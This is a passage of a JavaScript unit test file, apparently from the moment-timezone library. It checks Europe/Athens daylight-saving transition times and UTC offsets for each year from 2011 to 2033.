t.equal(moment("2011-03-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2011-03-27T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2011-10-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2011-10-30T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2011-10-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2011-10-30T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2011-03-27T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2011-03-27T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2011-03-27T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2011-03-27T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2011-10-30T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2011-10-30T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2011-10-30T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2011-10-30T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2012" : function (t) { t.equal(moment("2012-03-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2012-03-25T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2012-03-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2012-03-25T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2012-10-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2012-10-28T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2012-10-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2012-10-28T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2012-03-25T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2012-03-25T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2012-03-25T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2012-03-25T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2012-10-28T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2012-10-28T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2012-10-28T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2012-10-28T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2013" : function (t) { t.equal(moment("2013-03-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2013-03-31T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2013-03-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2013-03-31T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2013-10-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2013-10-27T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2013-10-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2013-10-27T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2013-03-31T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2013-03-31T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2013-03-31T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2013-03-31T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2013-10-27T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2013-10-27T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2013-10-27T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2013-10-27T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2014" : function (t) { t.equal(moment("2014-03-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2014-03-30T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2014-03-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2014-03-30T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2014-10-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2014-10-26T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2014-10-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2014-10-26T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2014-03-30T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2014-03-30T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2014-03-30T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2014-03-30T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2014-10-26T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2014-10-26T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2014-10-26T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2014-10-26T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2015" : function (t) { t.equal(moment("2015-03-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2015-03-29T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2015-03-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2015-03-29T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2015-10-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2015-10-25T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2015-10-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2015-10-25T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2015-03-29T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2015-03-29T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2015-03-29T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2015-03-29T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2015-10-25T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2015-10-25T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2015-10-25T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2015-10-25T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2016" : function (t) { t.equal(moment("2016-03-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2016-03-27T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2016-03-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2016-03-27T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2016-10-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2016-10-30T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2016-10-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2016-10-30T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2016-03-27T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2016-03-27T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2016-03-27T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2016-03-27T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2016-10-30T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2016-10-30T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2016-10-30T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2016-10-30T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2017" : function (t) { t.equal(moment("2017-03-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2017-03-26T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2017-03-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2017-03-26T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2017-10-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2017-10-29T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2017-10-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2017-10-29T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2017-03-26T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2017-03-26T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2017-03-26T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2017-03-26T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2017-10-29T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2017-10-29T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2017-10-29T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2017-10-29T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2018" : function (t) { t.equal(moment("2018-03-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2018-03-25T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2018-03-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2018-03-25T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2018-10-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2018-10-28T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2018-10-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2018-10-28T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2018-03-25T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2018-03-25T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2018-03-25T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2018-03-25T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2018-10-28T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2018-10-28T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2018-10-28T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2018-10-28T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2019" : function (t) { t.equal(moment("2019-03-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2019-03-31T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2019-03-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2019-03-31T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2019-10-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2019-10-27T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2019-10-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2019-10-27T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2019-03-31T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2019-03-31T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2019-03-31T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2019-03-31T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2019-10-27T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2019-10-27T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2019-10-27T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2019-10-27T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2020" : function (t) { t.equal(moment("2020-03-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2020-03-29T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2020-03-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2020-03-29T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2020-10-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2020-10-25T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2020-10-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2020-10-25T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2020-03-29T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2020-03-29T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2020-03-29T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2020-03-29T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2020-10-25T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2020-10-25T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2020-10-25T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2020-10-25T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2021" : function (t) { t.equal(moment("2021-03-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2021-03-28T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2021-03-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2021-03-28T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2021-10-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2021-10-31T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2021-10-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2021-10-31T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2021-03-28T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2021-03-28T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2021-03-28T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2021-03-28T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2021-10-31T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2021-10-31T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2021-10-31T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2021-10-31T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2022" : function (t) { t.equal(moment("2022-03-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2022-03-27T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2022-03-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2022-03-27T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2022-10-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2022-10-30T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2022-10-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2022-10-30T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2022-03-27T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2022-03-27T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2022-03-27T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2022-03-27T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2022-10-30T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2022-10-30T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2022-10-30T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2022-10-30T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2023" : function (t) { t.equal(moment("2023-03-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2023-03-26T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2023-03-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2023-03-26T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2023-10-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2023-10-29T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2023-10-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2023-10-29T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2023-03-26T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2023-03-26T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2023-03-26T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2023-03-26T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2023-10-29T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2023-10-29T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2023-10-29T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2023-10-29T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2024" : function (t) { t.equal(moment("2024-03-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2024-03-31T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2024-03-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2024-03-31T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2024-10-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2024-10-27T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2024-10-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2024-10-27T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2024-03-31T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2024-03-31T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2024-03-31T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2024-03-31T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2024-10-27T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2024-10-27T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2024-10-27T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2024-10-27T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2025" : function (t) { t.equal(moment("2025-03-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2025-03-30T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2025-03-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2025-03-30T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2025-10-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2025-10-26T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2025-10-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2025-10-26T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2025-03-30T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2025-03-30T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2025-03-30T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2025-03-30T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2025-10-26T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2025-10-26T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2025-10-26T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2025-10-26T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2026" : function (t) { t.equal(moment("2026-03-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2026-03-29T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2026-03-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2026-03-29T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2026-10-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2026-10-25T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2026-10-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2026-10-25T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2026-03-29T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2026-03-29T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2026-03-29T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2026-03-29T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2026-10-25T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2026-10-25T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2026-10-25T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2026-10-25T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2027" : function (t) { t.equal(moment("2027-03-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2027-03-28T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2027-03-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2027-03-28T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2027-10-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2027-10-31T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2027-10-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2027-10-31T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2027-03-28T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2027-03-28T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2027-03-28T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2027-03-28T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2027-10-31T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2027-10-31T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2027-10-31T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2027-10-31T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2028" : function (t) { t.equal(moment("2028-03-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2028-03-26T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2028-03-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2028-03-26T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2028-10-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2028-10-29T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2028-10-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2028-10-29T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2028-03-26T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2028-03-26T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2028-03-26T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2028-03-26T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2028-10-29T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2028-10-29T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2028-10-29T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2028-10-29T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2029" : function (t) { t.equal(moment("2029-03-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2029-03-25T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2029-03-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2029-03-25T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2029-10-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2029-10-28T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2029-10-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2029-10-28T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2029-03-25T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2029-03-25T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2029-03-25T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2029-03-25T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2029-10-28T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2029-10-28T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2029-10-28T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2029-10-28T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2030" : function (t) { t.equal(moment("2030-03-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2030-03-31T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2030-03-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2030-03-31T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2030-10-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2030-10-27T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2030-10-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2030-10-27T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2030-03-31T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2030-03-31T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2030-03-31T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2030-03-31T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2030-10-27T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2030-10-27T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2030-10-27T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2030-10-27T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2031" : function (t) { t.equal(moment("2031-03-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2031-03-30T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2031-03-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2031-03-30T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2031-10-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2031-10-26T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2031-10-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2031-10-26T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2031-03-30T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2031-03-30T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2031-03-30T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2031-03-30T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2031-10-26T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2031-10-26T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2031-10-26T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2031-10-26T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2032" : function (t) { t.equal(moment("2032-03-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2032-03-28T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2032-03-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2032-03-28T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2032-10-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2032-10-31T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2032-10-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2032-10-31T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("2032-03-28T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "2032-03-28T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("2032-03-28T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "2032-03-28T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2032-10-31T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "2032-10-31T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("2032-10-31T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "2032-10-31T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "2033" : function (t) { t.equal(moment("2033-03-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "2033-03-27T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("2033-03-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "2033-03-27T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("2033-10-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "2033-10-30T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("2033-10-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "2033-10-30T01:00:00+00:00 should be 03:00:00 EET"); 